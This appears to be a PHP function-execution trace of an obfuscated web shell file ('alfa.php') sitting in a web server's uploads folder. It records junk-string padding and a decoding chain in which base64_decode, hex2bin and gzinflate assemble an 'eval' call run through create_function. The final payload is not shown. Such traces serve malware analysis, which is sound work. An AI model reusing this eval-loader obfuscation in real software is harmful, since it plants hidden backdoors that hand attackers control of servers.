1		A						/var/www/html/uploads/alfa.php	26	$dcrpt = 'EONalLeSXhYrwaYwCiiJiQLkfSHPVyQzMDAxNEpjkMAflyCOfjxOZiyEAeuvDjtOlskYvZIFkhLxfMKKVGyuOVYNaRHcAaQLsAiNzQsKyCGDnPmIvLCJfZwfQdhqdxAUXIHVYzewAjyOYKVuUxcAVyFLamaDiAyFIEBGcFBDpYQmhkGchhbcfGOfsniBnGFvjfAMkaOzYdkfnRHUyIXDpkifXrfKWLeFQErAEEyCHJhvZOpxxLAkvIqSYVCUGHYVKPVOttPAbWUALIXHTWRNEGFCBhVgnTCxIxkbPaarwUQgbmmuidhMKMNktIRfCtDjpmKdMKTidKOFwbYeefqnsdYjLpqmgsWvEfyrqsztBMxwNwAsaQFRtcbdrQQxhlRkrPBGGzzglVbyrCPRRvIjWimnYCKFNbQeQQjwqIbadcyTEnKUhSddaQQzsBdfCtJRjsmYanYdqVWuIgnPYRtyHiWYiADjSLaBdmzDZWfPSBiAHVPeMHctpYRyXTHqeIQh'
1		A						/var/www/html/uploads/alfa.php	27	$str_rot13 = 'vOvPBwDHFqWaBqwECGlazglbChQVeYgzlBnlWqSBfOaGeWjfCvfABQbDYRXCpdaZdNlZCdZHSzmWUxbxr'
2	35	0	0.005775	891616	base64_decode	0		/var/www/html/uploads/alfa.php	28	1	'aGV4MmJpbg=='
2	35	1	0.005790	891688
2	35	R			'hex2bin'
1		A						/var/www/html/uploads/alfa.php	28	$IgVkLAfdJv = 'hex2bin'
1		A						/var/www/html/uploads/alfa.php	28	$b64x = 'SPUEtwRpbPTXduNJyigytXfxKeXuVQTmeNqWjHkkwehYyuIvDnsvkyRuCpNXeGjISAEbgOMbstaqNIKqVCjFZbYaqkXTqhBhgEJMsvNjNNzZUIpPjYTiZrjOBGHQNHytkgebaskmeimZRanAYHixXRkzxrOKXLcHrHJrYtECbqaSqOsOvZksQwqnlEXjpzqGfYWDRZfSpFjetaSmaceQXuDjXASMZhsEGNhWmMOarxejxwVxYZNVTPEQqVbOdtsiGYeSKSSBpXKktehreUMXiPmyLpLOgDwMBAdLsWlftvqkzxbcQmzZbMWMAhZfKvSKUvULrfqJZfuYCvaSHArhLMUKttPcngmHCgtsMIbLNUiPpJgviWCthVcBprcCypIzVaQgirrvkAJYiptQKviSqKtEaUFXJnwENmjvDAQnZYlHnFxXZepOngSObWLjJHmxtwRvVgIvFUbsYYpxCdkQjcEKZOThvfEmaVIWBPQfJRxgplDROnHxPKhnyAwtfzFf'
1		A						/var/www/html/uploads/alfa.php	29	$dcrpt = 'rUHmLpCaGgBcykYRgKaDLvPSwPzcESxVMDHXRixxPXZMIxDOHcrsxfjSViUYaQtmtajKIGGWdFILcKziMpAIvjZPRTmRiGDbfMLNSrKVwRGXbEfNSeVMnUBEnnVwTyWYkHkCyuxTlCqmfvzXzuKmOKQbXLWqjTNTZyUxRQPCseOWYNtyGcjumZvJkRzTKLMJifGaVvbmZQIXcaUIDdcpDWXmNVfWHrGPwLprfrcEGjCIjVqMzsaBOyNBtSXZIcpdNDTStvxYEyGmtwzRNYsawEbpVYNDabfNeyexSawVyBirWHHjFzjBcKPyIbahdGuHdzdwYYrWZYmVeteKrOKTyYrGZQNCwhiAfMVdKLZJKLeOeIXUVgNTedzEULfqsOpxAJaJvzSEkwROdpIzvwsZYQDSahItvWpuGODAnvdyqULSISrdNICMXeEYLlQgIeAnTCNgwqdLJnEsfUUtDweZZhXKTNqBsqnkRaQnqtyYfbPKwJcyegxdpvnHHchyRvhJ'
1		A						/var/www/html/uploads/alfa.php	30	$str_rot13 = 'qegOtzwsSICJUsXAukduBqmNMeYhXOvNsBaKaxcseEAYVxYOhBhIRvUcYTkwgeiyFihFeJXImxgHuevBecIvWCyUUhqalXXQGFwKnStaOzHhcCIgdPCZsZTLgJMsGihlNcWbupbimhPpiXvlMWKdvdpBMasRiZdwbzxVmXdzESNNphybEIEYLSZWsrNaPqwROsMappzSGLeVtcwWjZuusSqJJCJySeOGwZgjneCuQGpihjEriXKAqzJYbsVTWKYRJEbxJDQzIEHqNkGvHQvwpdTPvPhQzGIHjidSLtrSWxhignEndYJRbcHVROMPTTVdbzVlRMdnilwPYzCbxksXMYtDmERfxNIXlEicPLPxwlluKNUH'
1		A						/var/www/html/uploads/alfa.php	31	$b64x = 'nlRbOzcAtLxUlwagAbNDffXFaXunzlplyFNLdPKVZhPkcQrcRDexIBbhyUvwfjIcOvOsJymIecsHsJJILNETneakYVGeeNGshuiqswXVXqCOyKwIxABjEbTDWAgAmMRUGajXVHSswUftEaaBAbKeCEgXDmxpYNidmSahztzumdMQeMrEmBhOEnLgZHvyvdBHVCpTUmmGrywUjmXxNfKrSVWSCQqWTQdnRRGkdSQTqMmZYkVkPeBgZWYCMNXGdAturZFURUmHGAfdjanyEndEjcfWpCbRculttqMKjZQqYVtHvHEYUHCeigAXJBOLUzDnOPXynmNlhfsblVZGbbjkhJhqjvAdUDQhsmFFzsqfXggiBGOCHXlnftEpnDShfhpWvuBtLqzIwerWKEYrbjegchVqKmWquKlndmgPCeWyiMutQsiRCmxduRtedpuXYeKCrQrtUMQDYjVObdFcQBfjtXNVlGSJLDkBSaTmmJpktjyuMcVCcAlvxYQheIQPKBqD'
1		A						/var/www/html/uploads/alfa.php	32	$dcrpt = 'KGfGlrUeREbBWPwStjQHX'
1		A						/var/www/html/uploads/alfa.php	33	$str_rot13 = 'OffQNIRUuMjCsIMFxBJepWOpYHVLMYKAeqPrxfkRRTtIBEnxEWaSsPGrVBbIAkHdZxuxCdNTWfBWinSMjTdbIJscJSjICRLCNEyOHkHDPIYXvRJFKMfRUxTcOdLquVrgZOUGybJmiHjDXsHHDMXxIrAwTKMmeCtdrMKnmSBvYjyWCeDerabYraUjKGwnhnsX'
1		A						/var/www/html/uploads/alfa.php	34	$b64x = 'xKWvCyEgGYzxbHpKeyjtmmTsOqpqmJeitADuXHAceyAfenpJkYBWKunXJcmvLQEEPGXNmXprvnVZBKhkhIgrbUnjWZegphKdmhqAeFqYSLXuUEdBlKRmEeWZDafRHqUTxkSaPIygtwZMzdmLNdxrHtPjSUazJuSfdKFssdzjYyVxaHhNjFDQxszqMznvtfawQFnHIMRfJlDKtKxCOASlrracqnXITXDJbQPKbfpLRRvjbrkpQcAhuZjJnGQGDtpFJDOKJcvAuPivgtJWVJDpImxvSmawFOAnsnyAPSziIHcnzMJuUmhCYExQQxlVLkICXfbNYAvfgySeJBzcmGdkKAbAxMUhXDJuIKgfJbkPYctHdRJqXMaHMbGimBPJdXdkgJrPKBdIdwOgNWVjiVqUwVCJVQsYNUJtEZhNZKwcfJIsGEBnYQHvlIdgyUFKPnctmjfltaOXjwqpzqCygIsRqvXNOCxDPYvBHaNZaaWJVLXvbzsHgJyVDvIrxEuLbOmI'
1		A						/var/www/html/uploads/alfa.php	35	$dcrpt = 'ivpPdTADvlEitQzMxBtHhfWfBnUkjbyswmhzfgBZSEhKufwqGPxNuttVfMFpNcGiOmguugtlKBvEfQtMePzYhRtmcXaPzHxntcHMIzxtzRwFhOrLEpikGBXIyXXXduKxxrIEpFWOVRtCfiNixVtCxPkumhrqaalWQuBFyWttOkvtthBpcTRYiBtvhijhJVEYpeDlaVdnFyGxFgMhAcFIcXcjGLQpGumUXQfykjLQgRmlXytWZxEbvfKaRaOxTaRRQwpBezrlqcxNapJZLNBFSkeiKSfETWUisiJxgzhxCEJCssacEBIxMMeVejzXFSfXApTHNadOdMqvDrWhRddcqHyuRWrwpVSOjkvXKXLNiBHMrEtHgVjwCHptcepraGfJRAfByrOfRvrHyJneExZgDpYGtMWSSbbJbgJYxWdNRvupDhSHdSmHgKmYxIrOjsWKXFIvCkHSeBghIzOkraRWKDuGLKuUBqEzvLtwvZnAZTHgsUsIUIddlyKwhDqiTtHn'
1		A						/var/www/html/uploads/alfa.php	36	$str_rot13 = 'ETDWGhzXJYPeRbVscRzzyKwztZCMeOsIHudMCCJkaXPRZjiBaHzyQuwiuXUXkLFrfhdgilQijFzIPgiPNINDBilUGfRQrVhwCkbLVRtexSMLYvZlcMncVzXaenQvJxqkgrVchOgdftndNnOpZcruaNTebKzKGnUNEqpldUOimcLzqZNObEIbrBGsKEBrSVDVKrGmkvUXxewldjZENgGDILVRpVHGQjCZZhlkCfhykDJNlJsyPxbWhwOwrvCHedfDKsNMWUjGXTuIbLgqhhMOcAjtuLzXnFBYwNjshtYeLRMMbsCiznWBNFuGQsdDWdaRQjjXDHBnXNAYebgdpCdBGWGVpJzKlYCcikzkRayONxlrXsTLtXlyTsuHAssMqtOXDmhTMfgYCsqAiiKaFWyYNrFmhwYXOlUQ'
1		A						/var/www/html/uploads/alfa.php	37	$FmJTMG = 'base64_decode'
1		A						/var/www/html/uploads/alfa.php	37	$b64x = 'TfDgFSaOjutxphtfCQrpSInwQPtmbFhujKBPCackuwHhcAMdqdsHkFdAuwmUaupkePzfparJVxQXWDaMfstqwVqPrCKRVyBzmzFBYVJURZrOCsAgisVFnkTdlcuhAUGlSKNReVLWUbKVSJbbaxfnHYRTBkAaFFmxqznuuyPpZzJrHLRIhWvnvlGVWFvBkHXZFLSZiINHGwYnGPvmlPaGBGaWLvxvCuugELFNtsTznrMTgggRvGxvlWrwQNQsHJYkUDxmvrLIgWamCgdXlZRXvitlvJcbsaMldiYyYiffFfRgMvDxTvupcNZxwbYmCjYFsWcQEHvillPxfsUZMnNnAMkVNIiORGtICUyFaSnmEciJuCIGQvTPGDLTktHbYaKZUHdvArHDSplmRusgnkVUOfNyXuAVTJunqXIpnpRgcDSTWjzjTvdgZQFXKEsDmMQCiyRVlhbpKtHGbgqVatBZJfWSJpvVALXIinDUUeiFxPKYvZTvSuvaZrShFMDexZlf'
1		A						/var/www/html/uploads/alfa.php	38	$dcrpt = 'tOuyqCgytMPEFFJrGMhIbZEdGDGYIqJaddYTeEQxqeBuKjLqVSxwRAzWdfvkUdlyGJrKmGHcLhwUQGJLzfHPGfMiKgtFJdcPMSzzyFailwcbcLmarTpwyaEiGwmPAOELGCJDHJlSFnuHzfgpyvKVVNDBiPPhctTIvCLbLWtqJMwHRCVOWeKRrmSACHgEAZMUbxvMSNBBZWiqyDeThOkyACxbIEfhcRBdNv'
1		A						/var/www/html/uploads/alfa.php	39	$str_rot13 = 'JrwXsdlKGVhJqjAqCRiHAzrtAjRCKtctiyPABAjGvQqkzpAAgIHGGXYgGphqhjhqgwQgWzNrPCBnQAOWHvDNRatxPAmWiTlpqBvlaHbPiDCZCPVjjXwAYOxNniiwbujrVdbvLdJTfkSHanqJkLjIzfUlncHpxqfRuglejuXOEqwEDkNNWWVUbPgOSmcpDhFWOqaxJxlmMgrprdCMzxHZlNNdzpRbWwXKLxGTurgfWWvnz'
1		A						/var/www/html/uploads/alfa.php	40	$b64x = 'pMMHejJCnIQQYdKFFOMBdgIPLgZmsNZfZlMDUVfhDVXaYHedUqdXwLNgslTiySNWDZAxUFdWZaxXHBAaRDYMOkTfVMNtdAqgzpcSTgpSgLpnLPnbsLnfVgKQsxJUXyAVMDnFJCWpMKCWzqYralVwRflICUbYsbUdEHhMiDaUncqlRnbrYxMpCYwdsXcKYwmbCUNKxmdjOtwegWwEthtUFnYxkAGIvSiwlvfJIIsVamaGjVkCCDxhQUdBTJiNaRimlNvTvMpUZOBiJkjkmfRCzUcRDLdEClQNyKgswvmvImcrxmaJRSkrlNhPXlSzWhLURRlMLyhtjJiGvjOmBzcMLJaIusGrzrkPiVCtuilDRuJMcWyDUAPFIPMchsS'
1		A						/var/www/html/uploads/alfa.php	41	$dcrpt = 'ezYXSqkjZyfsbVaWVeYlWLdchOfUqsjUrHRiWCswZWNArOWLsuxneAPlNVGdMpXcVnLspcNpzAnPNjBfEXShWhuJcZlOniRIWbZKdMYbMMRzvRdynwGjDZsFyEtklJSHKSsnEPOPBFpWVsTimzRPXjTUNMeyvXfFPxsSlfImLwIfmBpAAfOxOIsBuwZOSESHajZLqgXACFFOGtNfzCbmjtnDpMQGqJNPsMZHsXgTblgHEulCVnpefbgTmWAbemQxyPDPljhNvnTyHfAbtnfXpLRahrblDrhAFLpRuwEniWLqbKrTXWRLHIkOYlAaCgZhrnyKiBXrxiGYsXRPtIZZPknNwmmySlejYbtgCQyyyDwPZnEsvEsknexJQjGIUKRTLKzMAWkXZflYSQrnThXglupBDViXeAQqjpbiLLfjRQhiGywYetePmTqPOzMsybHgQipaTTjjJQtPpnNSHsITkXhyVuPSUWYjemjxFSHpJzdxMqptHWLrutOOldHFzFPD'
1		A						/var/www/html/uploads/alfa.php	42	$str_rot13 = 'kEwSDaPpCJwjmBdISGONCCjDTVNOpcvYfqrIqfxSOSbbSEijkxwlYFOrZBfpcAMhpcqEHlwwdXWvBeekaAVZfJqEJUsLTeThgIMOTHJWEFQFiUpJvkIZTxDDsVNKzfSFNESGkBbpFStnlHWfRdekZhmQCZBafteSWXYGXZuDRMqDTlIKpmunuGevfFvKxYbSvZytZsvqDKSwvBGimZVGfzAKDuuZsvRNvPFTgZiJibFcbkknJftnFSXhlQhclypfmTytsGCZggbhQlUzRmmVEjcpaJRLhfquZNmQtnQZuRgJDBhuNTpRDQfDZWNgCCZapLQgYGfsXMAZmhSzaGqDVVFUrRAstAsHKiOJntAKeaJrhaqhGFkCZPwQHwhZvAgehumvMNFRmnHTpWAubKVaZRqfmyEgxKkEdyyQKcgWQNPEKpXLztkyJBDvygBuRLxuIUJsxPNmDCqmrmxPeHmNhPHevhyLtUfApOSLEFxGHMsxyOlDvXPclWgGdesVyWwM'
1		A						/var/www/html/uploads/alfa.php	43	$b64x = 'wMNPcEFWhNaTYLjVbwnfrSAHNKlYjnmeZzUCczXJLxcKileJgROxJNewxPUfcgkCGEDhcArmXtwFEAnjrCfapjVlzPrBwaCBEeIfFYtbQOfTptcFUieJRAUqpkrjLSKpXSvbqNCgBHzpzCuTjyCAxVqMfGVqXfFuXZUmlVSlCsBBtUuCRvBpqQAUVUktzPMwngizbaKERkEjEXkVsMJHbiBXCLqbZBxmHeLJFVMwFqfjMqEDBmjDvjZwvOxTpugwyrECLPYredZqSDSuPBWJKVeEJbyxvdSsuVUFKsVOvUDmWvGkVbtfWWJeXGCRJTJDPDhzuCNOVPARkGBFgTKdPTHmzIdICMkQOROhtavNQvdAAEeGxPiLIQXGXBnYMXOaOchGccSsxVRwzWbvkKGsZcXWDlVPIiPWkwCnyveuPWPpsriCaOTZRQvTBqhjzWFJSGwqaajQWYEnpMPOahNRXijYXsHVNleFRZvsZEHVCKIrwxEVEslbZwzwmfsZQweg'
1		A						/var/www/html/uploads/alfa.php	44	$dcrpt = 'pVkGsADafbMjfizKCsRjICXUyugRySUmOeSFeUFJvQsZyQKZHBiPDFJaYqrWhkivOAZsTdBntSmQiWPpXxdZcmzACPwizEEMDcewgFJzWwqERETnBwmchkCJZYsXbVKexnADsJCnErsvukJUfvWnGzwFWNcXhMBFZbHrjidNzUhTEqmKLjXrhtvdGxANibRHCzxLgayGUeYzvkiFTFVaxqdcmdqUEgbfeyqlXmrsrpQkYyPSCKSYAwblYrfCxggbewmbIDtYrIJOfyGHIYGHTgSrxXStEyuITfJBhCYyjHmPFsVmPaTIgLYDhqwLNptfvCGCdeAMklBpDxBtxTAEdYGlnbwBrpGkQMMtqLeZWfpZCpRyiQblOhWCItCYHhIxtvpIFSIbXwazKrxSGyEveAwNSXkzETvXNiFsbMtYhSXSIujprNiwnEiFBSeeLYByhGQisIGZaDrIwAWNNeIAhQeIIimTHmrOSGwkpbJpeZwAYtmLWUkejqlsXykdkarc'
1		A						/var/www/html/uploads/alfa.php	45	$str_rot13 = 'QNzDxijQvXEiWGwYTMfkSmjbNPJmwAvLMUnjCWZwUDEqIAnBlukDGvESJMeEmZpYtcHUYGrsIuHrTVrFOChTWMLeyPIjnwIGypaxvQncJVScQjHdLnWgZHKXVRGjmnpLcOHxEUYnpRqEawHkJDQJjZffQLOczcmaRtWUnUHCLWGksmUbQjjZiOEYzsbxUNxkgtETNlUyhAiZNcADmibUWGTUxusQgnamgFfTQaQxAyVMBvpmDrgzwzuSSkJZXiLDmrVCQMZPJuCjPQVRGCrbajuTTcsqKcTXSOYIZXyJsZSGpnxVPmwpwPHOrYeBBXytkwBkTYTKxkPLylfMYCbTQhIHglhgieYtAzcSWVbtgQEECJQAKrtByAhdLOjtSIlRgnKdjkVqBztCIibsYTsxuYAeMjXERiwxwFZFpVuPTNrBvRTuLKQEJPhvYezP'
2	36	0	0.006184	891656	base64_decode	0		/var/www/html/uploads/alfa.php	46	1	'fC58'
2	36	1	0.006198	891720
2	36	R			'|.|'
1		A						/var/www/html/uploads/alfa.php	46	$NhuuBKaxDp = '|.|'
1		A						/var/www/html/uploads/alfa.php	46	$sgIcDg = 'lK'
1		A						/var/www/html/uploads/alfa.php	46	$pJuMYJyGR = 'LSwAMwZiyAvjKzNlPFEIXLTuyCFyJmvuFQtrMsYjrStarfLFjPNGAGzxHDvPqPiUfakRRIAhBSI'
1		A						/var/www/html/uploads/alfa.php	46	$Wr = 'NyrxP'
1		A						/var/www/html/uploads/alfa.php	46	$NfPxIKqDtC = 'PzsaytXbWWZHRAgGZnYGVmMJwZRKmxWBwnCTgYuCUSJkspQQbpVWBIeXHWgTSDvnqwGVuzyNrGXiuNYvbUQcCUzI'
1		A						/var/www/html/uploads/alfa.php	46	$RmQGLkZG = 'base64_decode'
1		A						/var/www/html/uploads/alfa.php	46	$b64x = 'GmRpeArCsasdErAalKJmHQBeyPsyIKzOWPCBOscFsTIwJHwUseGYuGDrUUPDdNQAbRaPJCTAUBVDhQXYvDxOjZfdtufVgvvhMUwvVpUPpqSVfPUZsQnaPteHljbsexYQQukMhEaVtSQYgjXYZkYncCunlweqscfhwPtcSuXlLOjsxgqxRNjTqEHBzLqQOvxJJqMBiJlTWvKubzqSmzkbCRbaDrqrkNZTCkTKufcqANialXsXWDYyTZYwPnlZALsbVlkprneqamQLkhiGjgddGBzUpkUOVLqqWAFMNJCmvRyeYGKIlnLrOJlcTFrnqfEMFiXSrYEkPbqnHzVtMGJaOuCIYSvOXYZcGWuWvXhjZWxfvRXhxHHLAitzBmMXlLzRgSnBQULpQHTkzRRvXyfxgXvgkGdVrDMyUzyKtIyiqsTnIjhehnBNKwTubWpSYbPTAmctVBaKstXZDeDKRdWbYPvAkKsjkGCKSECmEDWVVtuXXWgnAcpXRKxcunLETmNl'
1		A						/var/www/html/uploads/alfa.php	47	$dcrpt = 'rxuVJVFXGwyMwHmCgusrEHVJHKxpgjMWgFspAWlFsJQNQdOWWGmAmiItsEHYmSUtxlHWhSBYbslRUzNqezprgwJzZPWlHqedCkzidAHERsvkQHZVfNLMivKHJGsrVwuWHTFjtlNJDHttnRNSEzdltNSbSjsOGljMEOVwzheBOWuBmgSQFWBXitZbbrpgbySFMmakuElHAFhMLAbrwbNETMeVDtbErujcfJMZnXGmCnzNNZdIbqLUcQpeIrIYjrApAMnNJuZLHXyTXaBYPlsRBHVJxdHGTHutthFBaeLHbIZYhAwXknnlUJUrMaweHpXzwCAwfkChTBFAABxkOLwIuPyFPtiWHfUDhuymFaTXaYxaYukMefTXuQCiiKEPqzsxsQiwqCtPAqPyJzJmdbjxRkfzUJnjHffZvpvjqnYPcnMklUxqVfllqQKjAxTGbYewMZebmdqpQBzbUvQPACAPsJyrgQxHPBdaAhClKRZZSXBMsQbRsBfjKdAqTwWhXZiW'
1		A						/var/www/html/uploads/alfa.php	48	$str_rot13 = 'YXasSNyVVPInnxbewzWEumbnrQvIAWUyuVpLINGcbNqpkrSfpnJIAjvqaqXZlsxemkPuxwwyIklSbdXqrfyqPSGphcnTujXfuNzrIunqeAIfceUTKsizKnNRQAjJJHPCuNsBHGqLfxqHCjALCijlVwCLVlvdSJFlVXlCcBMHYBnZLnKMwtxrOyCiJWlBeqlZMxbOymUVOiuzwdKrVgHidIrNEbNhQZhDVIQSULmItGGOiPEdVKlztblWCYEtxLvttkKMvXvNDAaMqdpKOaigbTCdsfwOQQGIAQvvNpHPnIBDLqnYqVeQpHTGMOTcEZjEPdYCsFrfMsIXgvVVQaLegeKsSDuWbdAQgXRYCIdOzkLFGfAwFKZLnJdgLWcNZbcGYUEZbgNAryEwEDrimquBYWgjSIwsJyXgRafSgTRWQvtTXJCKzvKWrQfIXBZfzwlPVQIBiYyZuqsQytZWNitdyylvzkAXgLMB'
1		A						/var/www/html/uploads/alfa.php	49	$b64x = 'awQpWlfjgMHGKAnzTigpRmbzBmrdyubXPrLlCQUJCaOLAcktKrgaEIAEuqgRJHnXXYiYOCgPDvACxjVGaBGEIFHbUNscTFAQchnQKUempeOLNiQNjwQRbxTvJKyCqxRsEFInzlZNPOXDwNqFigWJDpeMYbNNyFfbjmPhXOUNbRqydFCLLyvOMYZkZMXxrCXZnMGlaAYbQnYTsBedyzrKxqUVbrRSTOrgaXsaWPBNcAfvAjXxhNgdCAyDRpUjDlPDIHcEwDQYCwtbFPzmCePdenfvbAEEkSGSzIVvLMtMhknlZlXaqmDuAhOBHRFRKkiITecdqvPWechdnFDdRfWQnLQUbvlkGuTYXvbmqqIuSqyFUaIkGFatPQmqlXBrRTpOnPBDeiXWyUbRuJbZNBsCseScBStsLgGYVgbzOyVMsWDLFektFbuwFLygcqXNwDlrimQXKLJBHLLLpVDUxxPbhnHKDFxzhhPrueNDpVDvfpGvJiOFFDHmqNWtRSRZafPT'
1		A						/var/www/html/uploads/alfa.php	50	$dcrpt = 'khBDVavLwZkrniDxHMFitVQZjOWwpHkzOkcKkWUGvEwhmydTKJBcdrCNEyITFSRtCtCMOWRiZnPlktfUBfxEWYrAVZSArKtTcuerPWYPJOaTgFnHLKKghbGcAYcQIUJjNnADjzssMRKsxXYHgINniSQhQsYXlghYugacesTqjEHfaeMhNzvvrKDhbaeMgLLasLCVDwllZSrzxcGjaBdQkfxMfbyMMIMDTnzwJjHhBxHXYMGYmKOXPlivmGgypsBHFzcOIivieBgcnlaZVnwkYEeKkkIYCiFGHgTpOOWSpCUbOubigxSfBWPkGxihemnLSGzfuwxJxQKkjkuqhLUIIKSnGAVLlIVdnUIIPeQlUAxDkqssAmZhWrVbQqlBXhdKbLsqPHBiHxkRMCimOHTjxnLMDWmZDqjdaatpIUWprgfDINpWThFqVqbymnXpDGtcGkrnembVSgyZtMVltBanqblbOIrrnJSTtiHyUItMpqMgBgtTgtHxUSyIAOzNWrfq'
1		A						/var/www/html/uploads/alfa.php	51	$str_rot13 = 'lGqXvKGdpitNdzBuYMWLtFybcNcfOpEaUtxqDcSRkKdnidggPcrhHnIKajpPysPSjLhlNzCXjFKRhQyWsnEYCLhCVVrSMFKWqrhCQKzzOIqWyNsPbVnDHUEbQVTCZEXPUFrjpQICXYywkQKLkXNrSsshMLiLpgAILRSzgZADxYYInJtXfGpxXfEJQNuEtumDKEBqDaSAyrhkzZIEFWbbBeKsrEVixHLgKLVNlNmiDTubSbGXxgYXKiObMjJiqvOaFJNQVzzzssAJSFfpkELVMZwXiefyYtXEbjTWIsUzJviBznpKRAeczAZgEedcxbfXkYutQnRYIzZhNNrdmvgkUfQXKUZGveEeDXWSkOQtmPZzcqDpjiZdnPAxiZdcDHhFdDxNrNFdCECEtEtbMseAGeWpDZrffXLIBHVruAuwEWZwARyMIblOfhcIHtnlrYUrePHzObUsxtOwklhsmSfSahZgBmRrKkHPzNnnOhFkA'
2	37	0	0.006410	891688	base64_decode	0		/var/www/html/uploads/alfa.php	52	1	'Lg=='
2	37	1	0.006424	891752
2	37	R			'.'
1		A						/var/www/html/uploads/alfa.php	52	$ERRreukQ = '.'
1		A						/var/www/html/uploads/alfa.php	52	$nHwFZdRE = 'base64_decode'
1		A						/var/www/html/uploads/alfa.php	52	$DkINn = 'hHfcnatpmVTRkIuOVZGWLVMXOfEyaMlItrjfsCuEyMUhunvOMaLxvxUiDX'
1		A						/var/www/html/uploads/alfa.php	52	$mfw = 'xrdVlWRGgiAxAeZyCOVquhxBPnOEsbEOsgidcaiJiIFhlEem'
1		A						/var/www/html/uploads/alfa.php	52	$EpNUFFDC = 'azHPXSsaifUSdbPciGGFeLV'
1		A						/var/www/html/uploads/alfa.php	52	$xEGk = 'HvrdXiZgkdjLieUsibEakGGuYeRHK'
1		A						/var/www/html/uploads/alfa.php	52	$nDm = 'CBXGkTqCQpDACDwZpfdksaJxhQfDRVZuxwzgOOIFClEenADCFGmwHVSnkxqc'
1		A						/var/www/html/uploads/alfa.php	52	$QPaUfkL = 'kgKbIRQvFQRUemCXsJLfwFTPDTzdHCxrhhtPyIJdyBxCmyYEHJJCNcsPVqTcRqtYWknvTWXQWTSirQNxAVZMXQCtfvvxjNUGyh'
1		A						/var/www/html/uploads/alfa.php	52	$sI = 'iacxsiNgTHxIeHjhZzInRCKKMjXFgxwOWykOHXuZdQHixQqWOyJFztpkCmphiK'
1		A						/var/www/html/uploads/alfa.php	52	$gI = 'btSTtlPIlGYtxLcZQFbcUgehNWUGksPlLhEDStKezhWv'
1		A						/var/www/html/uploads/alfa.php	52	$rXjnMh = 'KattKGhvIqyCVbvieYZfMTYQvyaEFsROskgBqNwYdTAyuVfytedExb'
2	38	0	0.006576	891720	base64_decode	0		/var/www/html/uploads/alfa.php	52	1	'Z3ppbmZsYXRl'
2	38	1	0.006590	891792
2	38	R			'gzinflate'
1		A						/var/www/html/uploads/alfa.php	52	$pWJXjDy = 'gzinflate'
2	39	0	0.006616	891760	pack	0		/var/www/html/uploads/alfa.php	52	2	'H*'	'32303635373636313663323832343639363836613665366532393362'
2	39	1	0.006632	891880
2	39	R			'206576616c282469686a6e6e293b'
2	40	0	0.006647	891816	hex2bin	0		/var/www/html/uploads/alfa.php	52	1	'206576616c282469686a6e6e293b'
2	40	1	0.006660	891888
2	40	R			' eval($ihjnn);'
2	41	0	0.006677	891800	create_function	0		/var/www/html/uploads/alfa.php	52	2	'$ihjnn'	' eval($ihjnn);'
3	42	0	0.006710	892712	{internal eval}	1		/var/www/html/uploads/alfa.php	52	0
3	42	1	0.006726	892712
3	42	R			NULL
2	41	1	0.006740	892240
2	41	R			'\000lambda_13'
1		A						/var/www/html/uploads/alfa.php	52	$TtdGHiKm = '\000lambda_13'
1		A						/var/www/html/uploads/alfa.php	52	$b64x = 'EWDyfJIGfPQmVRLFUBJblYeIyJlJOfmRcpOHXwmDLCpGuZknatOlRStpadynjjeLyTsVOdyYFMeyMOkMHYxyqplQRidAsIkqabkOEhmjTrgeesqkPlIFAuvRbXrTFbiFcSTgZfPSVVxZMMKCYRgXkaOMXfFDgNHIFAOEecVZYszjEiLCZrYKQNwOsaQXmWFrxTuBvpBSgZcKHmLGEiqTvLgMkwixtOmpgGPavPTBnVKuhUakcPeyBkJkHShZfunLACLUREUEzEYgyyrZmvxNfgyMyFkDyXnXYYRPckTBORHLpyLBSHOXmliKqtmNPZkOYbDamVaAMhLAFwBWCpUPZCYOvlBjKLXImahYVIXhPIgTDHPfvJuTLsHfcIONSlUElCCGjZmyHurKafPwpIpZZwECdsOVDIAnjBuSAGqHZfrAlFVZmJyLebMHSADViCIRcbKchzJgFzGqdapPjMZNmMvelXZTzhLaiUcqSkWxJblMcAalLaYXMSCXPBRNhbnr'
1		A						/var/www/html/uploads/alfa.php	53	$dcrpt = 'sCskCNwWiSufRsKuBORUQIQWzYcgSRXJSPtvCOQjgJpXbzQCmgwCPMynjavbRRjJGDDHQTRWCftcEJEqPARElqsUqlWGcfOihRPYjfuLlNOpwRFKrwObkfWZrsFSWTAEKPCTUVdFhrUcizNYuBAFfwEVmJNICNllCNEViHBPyUSGtFElFDQKYUFKDRtEEEpFRSBzYBnwvFBmJFynhOxGhBqjthNwlbBCtBaQBNmVtNHBRePZsLFYmuheCuZNUApmAOdaaPVSbCuTgISXtWWeqDiRXidRhREheHhfVDxWEQpjyGhrCDvSfdiCLMusDxzhDHmyJiTmZixWOdMQGHIkKqNUbGlecklFrXCZfvlEDhaRKMHPtOaCDmVeShiuRTyhqZgUuRzxzzNiKTYdgyeJKaNbHvvyNSFcRkxKbVgZTTiDlgfsdKbNKnOQiINvARXQbuACpgCHzKJLqPctYDFhrtXYaKtZaqPbJODxUEdTnNEcbfUZJzgzrDxQMPPMfdmO'
1		A						/var/www/html/uploads/alfa.php	54	$str_rot13 = 'NrGnJMqEPHdMpgnQtxAzDKAqzWiOUOaHEfvMSKqHQSSezfurbTPFdqUbLCPFPqMTvgFMqvSfMKJkPcBrWQvzFOAqqPuFeFXzLClawdFiOnScrTSmJmknajcQYwUcBRClSmMpqQWDeOfvgXgPkrCKAEZzATaaKCLcnWrdNMGRALLHiRVSHyCgbCeaUfaegMgvhxyUIDkhOVnWMJOtgPZHQDIkIhpptvJBrGUYifFWatsmbfeHvdnKgvUOcICvcKvSqPqzUVUunmfORkvLNIwtDPHeyiYZTuSiIhgbCBvPNaDdKxPWFKqhYWlwejwxcNfKUlLxlGLyfOCPkQkpZAwXwgTaQOxsBbCUnMQYRbxWpykYNwnMVJiRqBrFpmWppXjbKzZBAwXOthNfDArYIApXAFbPryDFvlGELfFKBCYuJk'
